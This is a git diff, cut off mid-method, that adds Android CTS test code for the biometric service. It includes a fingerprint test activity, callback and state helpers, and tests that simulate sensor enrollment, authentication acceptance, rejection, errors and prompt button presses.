+  ~ See the License for the specific language governing permissions and
+  ~ limitations under the License.
+  -->
+
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+    package="android.server.biometrics.fingerprint">
+
+    <uses-permission android:name="android.permission.USE_BIOMETRIC"/>
+
+    <application>
+        <activity android:name="android.server.biometrics.fingerprint.AuthOnCreateActivity"
+            android:exported="true"/>
+    </application>
+
+</manifest>
\ No newline at end of file
diff --git a/tests/framework/base/biometrics/apps/fingerprint/OWNERS b/tests/framework/base/biometrics/apps/fingerprint/OWNERS
new file mode 100644
index 0000000..15711bb
--- /dev/null
+++ b/tests/framework/base/biometrics/apps/fingerprint/OWNERS
@@ -0,0 +1,2 @@
+# Bug component: 879035
+kchyn@google.com
\ No newline at end of file
diff --git a/tests/framework/base/biometrics/apps/fingerprint/src/android/server/biometrics/fingerprint/AuthOnCreateActivity.java b/tests/framework/base/biometrics/apps/fingerprint/src/android/server/biometrics/fingerprint/AuthOnCreateActivity.java
new file mode 100644
index 0000000..85a9230
--- /dev/null
+++ b/tests/framework/base/biometrics/apps/fingerprint/src/android/server/biometrics/fingerprint/AuthOnCreateActivity.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics.fingerprint;
+
+import android.app.Activity;
+import android.hardware.fingerprint.FingerprintManager;
+import android.os.Bundle;
+import android.os.CancellationSignal;
+
+import androidx.annotation.Nullable;
+
+/**
+ * Test app that invokes authentication in onCreate
+ */
+@SuppressWarnings("deprecation")
+public class AuthOnCreateActivity extends Activity {
+    private static final String TAG = "AuthOnCreateActivity";
+
+    @Override
+    protected void onCreate(@Nullable Bundle bundle) {
+        super.onCreate(bundle);
+        final FingerprintManager fpm = getSystemService(FingerprintManager.class);
+        fpm.authenticate(null /* crypto */, new CancellationSignal(), 0 /* flags */,
+                new FingerprintCallbackHelper(this), null /* handler */);
+    }
+}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/ActivitySession.java b/tests/framework/base/biometrics/src/android/server/biometrics/ActivitySession.java
new file mode 100644
index 0000000..d218d70
--- /dev/null
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/ActivitySession.java
@@ -0,0 +1,52 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics;
+
+import android.content.ComponentName;
+
+import androidx.annotation.NonNull;
+
+/**
+ * Allows tests to start test activities, but also ensures they are automatically cleaned up.
+ */
+public class ActivitySession implements AutoCloseable {
+
+    @NonNull
+    private final BiometricServiceTest mTest;
+    @NonNull
+    private final ComponentName mComponentName;
+
+    public ActivitySession(@NonNull BiometricServiceTest test,
+            @NonNull ComponentName componentName) {
+        mTest = test;
+        mComponentName = componentName;
+    }
+
+    public void start() {
+        mTest.launchActivity(mComponentName);
+    }
+
+    @Override
+    public void close() throws Exception {
+        Utils.forceStopActivity(mComponentName);
+    }
+
+    @NonNull
+    ComponentName getComponentName() {
+        return mComponentName;
+    }
+}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricCallbackHelper.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricCallbackHelper.java
new file mode 100644
index 0000000..d7c9f4a
--- /dev/null
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricCallbackHelper.java
@@ -0,0 +1,141 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics;
+
+import android.app.Activity;
+import android.hardware.biometrics.BiometricPrompt;
+import android.os.Bundle;
+import android.server.wm.TestJournalProvider;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+
+import java.util.ArrayList;
+
+public class BiometricCallbackHelper extends BiometricPrompt.AuthenticationCallback {
+
+    private static final String TAG = "BiometricCallbackHelper";
+    public static final String KEY = "key_auth_callback";
+
+    public static class State {
+        private static final String KEY_ERRORS_RECEIVED = "key_errors_received";
+        private static final String KEY_ACQUIRED_RECEIVED = "key_acquired_received";
+        private static final String KEY_NUM_ACCEPTED = "key_num_accepted";
+        private static final String KEY_NUM_REJECTED = "key_num_rejected";
+        private static final String KEY_NEGATIVE_BUTTON_PRESSED = "key_negative_button_pressed";
+
+        public final ArrayList<Integer> mErrorsReceived;
+        public final ArrayList<Integer> mAcquiredReceived;
+        public int mNumAuthAccepted;
+        public int mNumAuthRejected;
+        public boolean mNegativeButtonPressed;
+
+        public State() {
+            mErrorsReceived = new ArrayList<>();
+            mAcquiredReceived = new ArrayList<>();
+        }
+
+        public Bundle toBundle() {
+            final Bundle bundle = new Bundle();
+            bundle.putIntegerArrayList(KEY_ERRORS_RECEIVED, mErrorsReceived);
+            bundle.putIntegerArrayList(KEY_ACQUIRED_RECEIVED, mAcquiredReceived);
+            bundle.putInt(KEY_NUM_ACCEPTED, mNumAuthAccepted);
+            bundle.putInt(KEY_NUM_REJECTED, mNumAuthRejected);
+            bundle.putBoolean(KEY_NEGATIVE_BUTTON_PRESSED, mNegativeButtonPressed);
+            return bundle;
+        }
+
+        private State(ArrayList<Integer> errorsReceived, ArrayList<Integer> acquiredReceived,
+                int numAuthAccepted, int numAuthRejected, boolean negativeButtonPressed) {
+            mErrorsReceived = errorsReceived;
+            mAcquiredReceived = acquiredReceived;
+            mNumAuthAccepted = numAuthAccepted;
+            mNumAuthRejected = numAuthRejected;
+            mNegativeButtonPressed = negativeButtonPressed;
+        }
+
+        public static BiometricCallbackHelper.State fromBundle(@NonNull Bundle bundle) {
+            return new BiometricCallbackHelper.State(
+                    bundle.getIntegerArrayList(KEY_ERRORS_RECEIVED),
+                    bundle.getIntegerArrayList(KEY_ACQUIRED_RECEIVED),
+                    bundle.getInt(KEY_NUM_ACCEPTED),
+                    bundle.getInt(KEY_NUM_REJECTED),
+                    bundle.getBoolean(KEY_NEGATIVE_BUTTON_PRESSED));
+        }
+
+        @Override
+        public String toString() {
+            final StringBuilder sb = new StringBuilder();
+            sb.append("Accept: ").append(mNumAuthAccepted)
+                    .append(", Reject: ").append(mNumAuthRejected)
+                    .append(", Acquired Count: " ).append(mAcquiredReceived.size())
+                    .append(", Errors Count: ").append(mErrorsReceived.size())
+                    .append(", Negative pressed: ").append(mNegativeButtonPressed);
+            return sb.toString();
+        }
+    }
+
+    private final Activity mActivity;
+    private final State mState;
+
+    @Override
+    public void onAuthenticationError(int errorCode, CharSequence errString) {
+        Log.d(TAG, "onAuthenticationError: " + errorCode + ", " + errString);
+        mState.mErrorsReceived.add(errorCode);
+        updateJournal();
+    }
+
+    @Override
+    public void onAuthenticationHelp(int helpCode, CharSequence helpString) {
+        Log.d(TAG, "onAuthenticationHelp: " + helpCode + ", " + helpString);
+        mState.mAcquiredReceived.add(helpCode);
+        updateJournal();
+    }
+
+    @Override
+    public void onAuthenticationSucceeded(BiometricPrompt.AuthenticationResult result) {
+        Log.d(TAG, "onAuthenticationSucceeded");
+        mState.mNumAuthAccepted++;
+        updateJournal();
+    }
+
+    @Override
+    public void onAuthenticationFailed() {
+        Log.d(TAG, "onAuthenticationFailed");
+        mState.mNumAuthRejected++;
+        updateJournal();
+    }
+
+    void onNegativeButtonPressed() {
+        Log.d(TAG, "onNegativeButtonPressed");
+        mState.mNegativeButtonPressed = true;
+        updateJournal();
+    }
+
+    public BiometricCallbackHelper(@NonNull Activity activity) {
+        mActivity = activity;
+        mState = new BiometricCallbackHelper.State();
+
+        // Update with empty state. It's faster than waiting/retrying for null on CTS-side.
+        updateJournal();
+    }
+
+    private void updateJournal() {
+        TestJournalProvider.putExtras(mActivity,
+                bundle -> bundle.putBundle(KEY, mState.toBundle()));
+    }
+}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricServiceState.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricServiceState.java
new file mode 100644
index 0000000..4d606a8
--- /dev/null
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricServiceState.java
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics;
+
+import static com.android.server.biometrics.nano.BiometricServiceStateProto.*;
+
+import androidx.annotation.IntDef;
+import androidx.annotation.NonNull;
+
+import com.android.server.biometrics.nano.BiometricServiceStateProto;
+import com.android.server.biometrics.nano.SensorServiceStateProto;
+
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.util.ArrayList;
+import java.util.List;
+
+public class BiometricServiceState {
+
+    /**
+     * Defined in biometrics.proto
+     */
+    @IntDef({
+            STATE_AUTH_IDLE,
+            STATE_AUTH_CALLED,
+            STATE_AUTH_STARTED,
+            STATE_AUTH_STARTED_UI_SHOWING,
+            STATE_AUTH_PAUSED,
+            STATE_AUTH_PAUSED_RESUMING,
+            STATE_AUTH_PENDING_CONFIRM,
+            STATE_AUTHENTICATED_PENDING_SYSUI,
+            STATE_ERROR_PENDING_SYSUI,
+            STATE_SHOWING_DEVICE_CREDENTIAL})
+    @Retention(RetentionPolicy.SOURCE)
+    @interface AuthSessionState {}
+
+    @AuthSessionState public final int mState;
+    @NonNull public final SensorStates mSensorStates;
+
+    @NonNull
+    public static BiometricServiceState parseFrom(@NonNull BiometricServiceStateProto proto) {
+        final List<SensorStates> sensorStates = new ArrayList<>();
+        for (SensorServiceStateProto sensorServiceState : proto.sensorServiceStates) {
+            sensorStates.add(SensorStates.parseFrom(sensorServiceState));
+        }
+
+        @AuthSessionState int state = proto.authSessionState;
+
+        return new BiometricServiceState(SensorStates.merge(sensorStates), state);
+    }
+
+    private BiometricServiceState(@NonNull SensorStates sensorStates, @AuthSessionState int state) {
+        mSensorStates = sensorStates;
+        mState = state;
+    }
+
+    @Override
+    public String toString() {
+        final StringBuilder sb = new StringBuilder();
+        sb.append("AuthSessionState: ").append(mState).append(". ");
+        sb.append(mSensorStates.toString());
+        return sb.toString();
+    }
+}
diff --git a/tests/framework/base/biometrics/src/android/server/biometrics/BiometricServiceTest.java b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricServiceTest.java
new file mode 100644
index 0000000..dfd68e5
--- /dev/null
+++ b/tests/framework/base/biometrics/src/android/server/biometrics/BiometricServiceTest.java
@@ -0,0 +1,699 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.server.biometrics;
+
+import static android.os.PowerManager.FULL_WAKE_LOCK;
+import static android.server.biometrics.Components.CLASS_2_BIOMETRIC_ACTIVITY;
+import static android.server.biometrics.Components.CLASS_2_BIOMETRIC_OR_CREDENTIAL_ACTIVITY;
+import static android.server.biometrics.SensorStates.SensorState;
+import static android.server.biometrics.SensorStates.UserState;
+
+import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
+
+import static com.android.server.biometrics.nano.BiometricServiceStateProto.STATE_AUTH_IDLE;
+import static com.android.server.biometrics.nano.BiometricServiceStateProto.STATE_AUTH_PAUSED;
+import static com.android.server.biometrics.nano.BiometricServiceStateProto.STATE_AUTH_PENDING_CONFIRM;
+import static com.android.server.biometrics.nano.BiometricServiceStateProto.STATE_AUTH_STARTED_UI_SHOWING;
+import static com.android.server.biometrics.nano.BiometricServiceStateProto.STATE_SHOWING_DEVICE_CREDENTIAL;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeTrue;
+
+import android.app.Instrumentation;
+import android.content.ComponentName;
+import android.content.pm.PackageManager;
+import android.hardware.biometrics.BiometricManager;
+import android.hardware.biometrics.BiometricPrompt;
+import android.hardware.biometrics.BiometricTestSession;
+import android.hardware.biometrics.SensorProperties;
+import android.os.Bundle;
+import android.os.PowerManager;
+import android.platform.test.annotations.Presubmit;
+import android.server.wm.TestJournalProvider.TestJournal;
+import android.server.wm.TestJournalProvider.TestJournalContainer;
+import android.server.wm.UiDeviceUtils;
+import android.server.wm.WindowManagerState;
+import android.support.test.uiautomator.By;
+import android.support.test.uiautomator.UiDevice;
+import android.support.test.uiautomator.UiObject2;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import com.android.server.biometrics.nano.BiometricServiceStateProto;
+import com.android.server.biometrics.nano.BiometricsProto;
+import com.android.server.biometrics.nano.SensorStateProto;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.Map;
+
+@Presubmit
+public class BiometricServiceTest extends BiometricTestBase {
+
+    private static final String TAG = "BiometricServiceTest";
+    private static final String DUMPSYS_BIOMETRIC = "dumpsys biometric --proto";
+    private static final String FLAG_CLEAR_SCHEDULER_LOG = " --clear-scheduler-buffer";
+
+    // Negative-side (left) buttons
+    private static final String BUTTON_ID_NEGATIVE = "button_negative";
+    private static final String BUTTON_ID_CANCEL = "button_cancel";
+    private static final String BUTTON_ID_USE_CREDENTIAL = "button_use_credential";
+
+    // Positive-side (right) buttons
+    private static final String BUTTON_ID_CONFIRM = "button_confirm";
+    private static final String BUTTON_ID_TRY_AGAIN = "button_try_again";
+
+    private static final String VIEW_ID_PASSWORD_FIELD = "lockPassword";
+
+    @NonNull private Instrumentation mInstrumentation;
+    @NonNull private BiometricManager mBiometricManager;
+    @NonNull private List<SensorProperties> mSensorProperties;
+    @Nullable private PowerManager.WakeLock mWakeLock;
+    @NonNull private UiDevice mDevice;
+
+    /**
+     * Expose this functionality to our package, since ActivityManagerTestBase's is `protected`.
+     * @param componentName
+     */
+    void launchActivity(@NonNull ComponentName componentName) {
+        super.launchActivity(componentName);
+    }
+
+    /**
+     * Retrieves the current states of all biometric sensor services (e.g. FingerprintService,
+     * FaceService, etc).
+     *
+     * Note that the states are retrieved from BiometricService, instead of individual services.
+     * This is because 1) BiometricService is the source of truth for all public API-facing things,
+     * and 2) This to include other information, such as UI states, etc as well.
+     */
+    @NonNull
+    private BiometricServiceState getCurrentState() throws Exception {
+        final byte[] dump = Utils.executeShellCommand(DUMPSYS_BIOMETRIC);
+        final BiometricServiceStateProto proto = BiometricServiceStateProto.parseFrom(dump);
+        return BiometricServiceState.parseFrom(proto);
+    }
+
+    @NonNull
+    private BiometricServiceState getCurrentStateAndClearSchedulerLog() throws Exception {
+        final byte[] dump = Utils.executeShellCommand(DUMPSYS_BIOMETRIC
+                + FLAG_CLEAR_SCHEDULER_LOG);
+        final BiometricServiceStateProto proto = BiometricServiceStateProto.parseFrom(dump);
+        return BiometricServiceState.parseFrom(proto);
+    }
+
+    @Nullable
+    private UiObject2 findView(String id) {
+        Log.d(TAG, "Finding view: " + id);
+        return mDevice.findObject(By.res(mBiometricManager.getUiPackage(), id));
+    }
+
+    private void findAndPressButton(String id) {
+        final UiObject2 button = findView(id);
+        assertNotNull(button);
+        Log.d(TAG, "Clicking button: " + id);
+        button.click();
+    }
+
+    private void waitForState(@BiometricServiceState.AuthSessionState int state) throws Exception {
+        for (int i = 0; i < 20; i++) {
+            final BiometricServiceState serviceState = getCurrentState();
+            if (serviceState.mState != state) {
+                Log.d(TAG, "Not in state " + state + " yet, current: " + serviceState.mState);
+                Thread.sleep(300);
+            } else {
+                return;
+            }
+        }
+        Log.d(TAG, "Timed out waiting for state to become: " + state);
+    }
+
+    private void waitForStateNotEqual(@BiometricServiceState.AuthSessionState int state)
+            throws Exception {
+        for (int i = 0; i < 20; i++) {
+            final BiometricServiceState serviceState = getCurrentState();
+            if (serviceState.mState == state) {
+                Log.d(TAG, "Not out of state yet, current: " + serviceState.mState);
+                Thread.sleep(300);
+            } else {
+                return;
+            }
+        }
+        Log.d(TAG, "Timed out waiting for state to not equal: " + state);
+    }
+
+    private boolean anyEnrollmentsExist() throws Exception {
+        final BiometricServiceState serviceState = getCurrentState();
+
+        for (SensorState sensorState : serviceState.mSensorStates.sensorStates.values()) {
+            for (UserState userState : sensorState.getUserStates().values()) {
+                if (userState.numEnrolled != 0) {
+                    Log.d(TAG, "Enrollments still exist: " + serviceState);
+                    return true;
+                }
+            }
+        }
+        return false;
+    }
+
+    private void waitForAllUnenrolled() throws Exception {
+        for (int i = 0; i < 20; i++) {
+            if (anyEnrollmentsExist()) {
+                Log.d(TAG, "Enrollments still exist..");
+                Thread.sleep(300);
+            } else {
+                return;
+            }
+        }
+        fail("Some sensors still have enrollments. State: " + getCurrentState());
+    }
+
+    @NonNull
+    private static BiometricCallbackHelper.State getCallbackState(@NonNull TestJournal journal) {
+        waitFor("Waiting for authentication callback",
+                () -> journal.extras.containsKey(BiometricCallbackHelper.KEY));
+
+        final Bundle bundle = journal.extras.getBundle(BiometricCallbackHelper.KEY);
+        if (bundle == null) {
+            return new BiometricCallbackHelper.State();
+        }
+
+        final BiometricCallbackHelper.State state =
+                BiometricCallbackHelper.State.fromBundle(bundle);
+
+        // Clear the extras since we want to wait for the journal to sync any new info the next
+        // time it's read
+        journal.extras.clear();
+
+        return state;
+    }
+
+    @Before
+    public void setUp() throws Exception {
+        mInstrumentation = getInstrumentation();
+        mBiometricManager = mInstrumentation.getContext().getSystemService(BiometricManager.class);
+
+        mInstrumentation.getUiAutomation().adoptShellPermissionIdentity();
+        mDevice = UiDevice.getInstance(mInstrumentation);
+        mSensorProperties = mBiometricManager.getSensorProperties();
+
+        assumeTrue(mInstrumentation.getContext().getPackageManager().hasSystemFeature(
+                PackageManager.FEATURE_SECURE_LOCK_SCREEN));
+
+        // Keep the screen on for the duration of each test, since BiometricPrompt goes away
+        // when screen turns off.
+        final PowerManager pm = mInstrumentation.getContext().getSystemService(PowerManager.class);
+        mWakeLock = pm.newWakeLock(FULL_WAKE_LOCK, TAG);
+        mWakeLock.acquire();
+
+        // Turn screen on and dismiss keyguard
+        UiDeviceUtils.pressWakeupButton();
+        UiDeviceUtils.pressUnlockButton();
+    }
+
+    @After
+    public void cleanup() {
+        mInstrumentation.waitForIdleSync();
+
+        try {
+            waitForIdleService();
+        } catch (Exception e) {
+            Log.e(TAG, "Exception when waiting for idle", e);
+        }
+
+        try {
+            final BiometricServiceState state = getCurrentState();
+
+            for (Map.Entry<Integer, SensorState> sensorEntry
+                    : state.mSensorStates.sensorStates.entrySet()) {
+                for (Map.Entry<Integer, UserState> userEntry
+                        : sensorEntry.getValue().getUserStates().entrySet()) {
+                    if (userEntry.getValue().numEnrolled != 0) {
+                        Log.w(TAG, "Cleaning up for sensor: " + sensorEntry.getKey()
+                                + ", user: " + userEntry.getKey());
+                        BiometricTestSession session = mBiometricManager.createTestSession(
+                                sensorEntry.getKey());
+                        session.cleanupInternalState(userEntry.getKey());
+                        session.close();
+                    }
+                }
+            }
+        } catch (Exception e) {
+            Log.e(TAG, "Unable to get current state in cleanup()");
+        }
+
+        // Authentication lifecycle is done
+        try {
+            waitForIdleService();
+        } catch (Exception e) {
+            Log.e(TAG, "Exception when waiting for idle", e);
+        }
+
+        if (mWakeLock != null) {
+            mWakeLock.release();
+        }
+        mInstrumentation.getUiAutomation().dropShellPermissionIdentity();
+    }
+
+    @Test
+    public void testEnroll() throws Exception {
+        for (SensorProperties prop : mSensorProperties) {
+            try (BiometricTestSession session =
+                         mBiometricManager.createTestSession(prop.getSensorId())){
+                enrollForSensor(session, prop.getSensorId());
+            }
+        }
+    }
+
+    @Test
+    public void testSensorPropertiesAndDumpsysMatch() throws Exception {
+        final BiometricServiceState state = getCurrentState();
+
+        assertEquals(mSensorProperties.size(), state.mSensorStates.sensorStates.size());
+        for (SensorProperties prop : mSensorProperties) {
+            assertTrue(state.mSensorStates.sensorStates.containsKey(prop.getSensorId()));
+        }
+    }
+
+    @Test
+    public void testPackageManagerAndDumpsysMatch() throws Exception {
+        final BiometricServiceState state = getCurrentState();
+
+        final PackageManager pm = mContext.getPackageManager();
+
+        assertEquals(pm.hasSystemFeature(PackageManager.FEATURE_FINGERPRINT),
+                state.mSensorStates.containsModality(SensorStateProto.FINGERPRINT));
+        assertEquals(pm.hasSystemFeature(PackageManager.FEATURE_FACE),
+                state.mSensorStates.containsModality(SensorStateProto.FACE));
+        assertEquals(pm.hasSystemFeature(PackageManager.FEATURE_IRIS),
+                state.mSensorStates.containsModality(SensorStateProto.IRIS));
+    }
+
+    private void enrollForSensor(@NonNull BiometricTestSession session, int sensorId)
+            throws Exception {
+        Log.d(TAG, "Enrolling for sensor: " + sensorId);
+        final int userId = 0;
+
+        session.startEnroll(userId);
+        mInstrumentation.waitForIdleSync();
+        waitForBusySensor(sensorId);
+
+        session.finishEnroll(userId);
+        mInstrumentation.waitForIdleSync();
+        waitForIdleService();
+
+        final BiometricServiceState state = getCurrentState();
+        assertEquals(1, state.mSensorStates.sensorStates
+                .get(sensorId).getUserStates().get(userId).numEnrolled);
+    }
+
+    @Test
+    public void testBiometricOnly_authenticateFromForegroundActivity() throws Exception {
+        for (SensorProperties prop : mSensorProperties) {
+            try (BiometricTestSession session =
+                         mBiometricManager.createTestSession(prop.getSensorId());
+                ActivitySession activitySession =
+                        new ActivitySession(this, CLASS_2_BIOMETRIC_ACTIVITY)) {
+                testBiometricOnly_authenticateFromForegroundActivity_forSensor(
+                        session, prop.getSensorId(), activitySession);
+            }
+        }
+    }
+
+    private void testBiometricOnly_authenticateFromForegroundActivity_forSensor(
+            @NonNull BiometricTestSession session, int sensorId,
+            @NonNull ActivitySession activitySession) throws Exception {
+        Log.d(TAG, "testBiometricOnly_authenticateFromForegroundActivity_forSensor: " + sensorId);
+        final int userId = 0;
+        waitForAllUnenrolled();
+        enrollForSensor(session, sensorId);
+        final TestJournal journal = TestJournalContainer.get(activitySession.getComponentName());
+
+        // Launch test activity
+        activitySession.start();
+        mWmState.waitForActivityState(activitySession.getComponentName(),
+                WindowManagerState.STATE_RESUMED);
+        mInstrumentation.waitForIdleSync();
+
+        // The sensor being tested should not be idle
+        BiometricServiceState state = getCurrentState();
+        assertTrue(state.toString(), state.mSensorStates.sensorStates.get(sensorId).isBusy());
+
+        // Nothing happened yet
+        BiometricCallbackHelper.State callbackState = getCallbackState(journal);
+        assertNotNull(callbackState);
+        assertEquals(callbackState.toString(), 0, callbackState.mNumAuthRejected);
+        assertEquals(callbackState.toString(), 0, callbackState.mNumAuthAccepted);
+        assertEquals(callbackState.toString(), 0, callbackState.mAcquiredReceived.size());
+        assertEquals(callbackState.toString(), 0, callbackState.mErrorsReceived.size());
+
+        // Auth and check again now
+        session.acceptAuthentication(userId);
+        mInstrumentation.waitForIdleSync();
+
+        waitForStateNotEqual(STATE_AUTH_STARTED_UI_SHOWING);
+
+        state = getCurrentState();
+        Log.d(TAG, "State after acceptAuthentication: " + state);
+        if (state.mState == STATE_AUTH_PENDING_CONFIRM) {
+            findAndPressButton(BUTTON_ID_CONFIRM);
+            mInstrumentation.waitForIdleSync();
+            waitForState(STATE_AUTH_IDLE);
+        }
+
+        mInstrumentation.waitForIdleSync();
+        callbackState = getCallbackState(journal);
+        assertNotNull(callbackState);
+        assertTrue(callbackState.toString(), callbackState.mErrorsReceived.isEmpty());
+        assertTrue(callbackState.toString(), callbackState.mAcquiredReceived.isEmpty());
+        assertEquals(callbackState.toString(), 1, callbackState.mNumAuthAccepted);
+        assertEquals(callbackState.toString(), 0, callbackState.mNumAuthRejected);
+    }
+
+    @Test
+    public void testBiometricOnly_rejectThenErrorFromForegroundActivity() throws Exception {
+        for (SensorProperties prop : mSensorProperties) {
+            try (BiometricTestSession session =
+                         mBiometricManager.createTestSession(prop.getSensorId());
+                 ActivitySession activitySession =
+                         new ActivitySession(this, CLASS_2_BIOMETRIC_ACTIVITY)) {
+                testBiometricOnly_rejectThenErrorFromForegroundActivity_forSensor(
+                        session, prop.getSensorId(), activitySession);
+            }
+        }
+    }
+
+    private void testBiometricOnly_rejectThenErrorFromForegroundActivity_forSensor(
+            @NonNull BiometricTestSession session, int sensorId,
+            @NonNull ActivitySession activitySession) throws Exception {
+        Log.d(TAG, "testBiometricOnly_rejectThenErrorFromForegroundActivity_forSensor: "
+                + sensorId);
+        final int userId = 0;
+        waitForAllUnenrolled();
+        enrollForSensor(session, sensorId);
+
+        final TestJournal journal =
+                TestJournalContainer.get(activitySession.getComponentName());
+
+        // Launch test activity
+        activitySession.start();
+        mWmState.waitForActivityState(activitySession.getComponentName(),
+                WindowManagerState.STATE_RESUMED);
+        mInstrumentation.waitForIdleSync();
+        BiometricCallbackHelper.State callbackState = getCallbackState(journal);
+        assertNotNull(callbackState);
+
+        BiometricServiceState state = getCurrentState();
+        assertTrue(state.toString(), state.mSensorStates.sensorStates.get(sensorId).isBusy());
+
+        // Biometric rejected
+        session.rejectAuthentication(userId);
+        mInstrumentation.waitForIdleSync();
+        callbackState = getCallbackState(journal);
+        assertNotNull(callbackState);
+        assertEquals(callbackState.toString(), 1, callbackState.mNumAuthRejected);
+        assertEquals(callbackState.toString(), 0, callbackState.mNumAuthAccepted);
+        assertEquals(callbackState.toString(), 0, callbackState.mAcquiredReceived.size());
+        assertEquals(callbackState.toString(), 0, callbackState.mErrorsReceived.size());
+
+        state = getCurrentState();
+        Log.d(TAG, "State after rejectAuthentication: " + state);
+        if (state.mState == STATE_AUTH_PAUSED) {
+            findAndPressButton(BUTTON_ID_TRY_AGAIN);
+            mInstrumentation.waitForIdleSync();
+            waitForState(STATE_AUTH_STARTED_UI_SHOWING);
+        }
+
+        // Send an error
+        session.notifyError(userId, BiometricPrompt.BIOMETRIC_ERROR_CANCELED);
+        mInstrumentation.waitForIdleSync();
+        callbackState = getCallbackState(journal);
+        assertNotNull(callbackState);
+        assertEquals(callbackState.toString(), 1, callbackState.mNumAuthRejected);
+        assertEquals(callbackState.toString(), 0, callbackState.mNumAuthAccepted);
+        assertEquals(callbackState.toString(), 0, callbackState.mAcquiredReceived.size());
+        assertEquals(callbackState.toString(), 1, callbackState.mErrorsReceived.size());
+        assertEquals(callbackState.toString(), BiometricPrompt.BIOMETRIC_ERROR_CANCELED,
+                (int) callbackState.mErrorsReceived.get(0));
+    }
+
+    @Test
+    public void testBiometricOnly_negativeButtonInvoked() throws Exception {
+        for (SensorProperties prop : mSensorProperties) {
+            try (BiometricTestSession session =
+                         mBiometricManager.createTestSession(prop.getSensorId());
+                 ActivitySession activitySession =
+                         new ActivitySession(this, CLASS_2_BIOMETRIC_ACTIVITY)) {
+                testBiometricOnly_negativeButtonInvoked_forSensor(
+                        session, prop.getSensorId(), activitySession);
+            }
+        }
+    }
+
+    private void testBiometricOnly_negativeButtonInvoked_forSensor(
+            @NonNull BiometricTestSession session, int sensorId,
+            @NonNull ActivitySession activitySession) throws Exception {
+        Log.d(TAG, "testBiometricOnly_negativeButtonInvoked_forSensor: " + sensorId);
+        waitForAllUnenrolled();
+        enrollForSensor(session, sensorId);
+        final TestJournal journal = TestJournalContainer.get(activitySession.getComponentName());
+
+        // Launch test activity
+        activitySession.start();
+        mWmState.waitForActivityState(activitySession.getComponentName(),
+                WindowManagerState.STATE_RESUMED);
+        mInstrumentation.waitForIdleSync();
+        BiometricCallbackHelper.State callbackState = getCallbackState(journal);
+        assertNotNull(callbackState);
+
+        BiometricServiceState state = getCurrentState();
+        assertFalse(state.toString(), state.mSensorStates.areAllSensorsIdle());
+        assertFalse(state.toString(), callbackState.mNegativeButtonPressed);
+
+        // Press the negative button
+        findAndPressButton(BUTTON_ID_NEGATIVE);
+
+        callbackState = getCallbackState(journal);
+        assertTrue(callbackState.toString(), callbackState.mNegativeButtonPressed);
+        assertEquals(callbackState.toString(), 0, callbackState.mNumAuthRejected);
+        assertEquals(callbackState.toString(), 0, callbackState.mNumAuthAccepted);
+        assertEquals(callbackState.toString(), 0, callbackState.mAcquiredReceived.size());
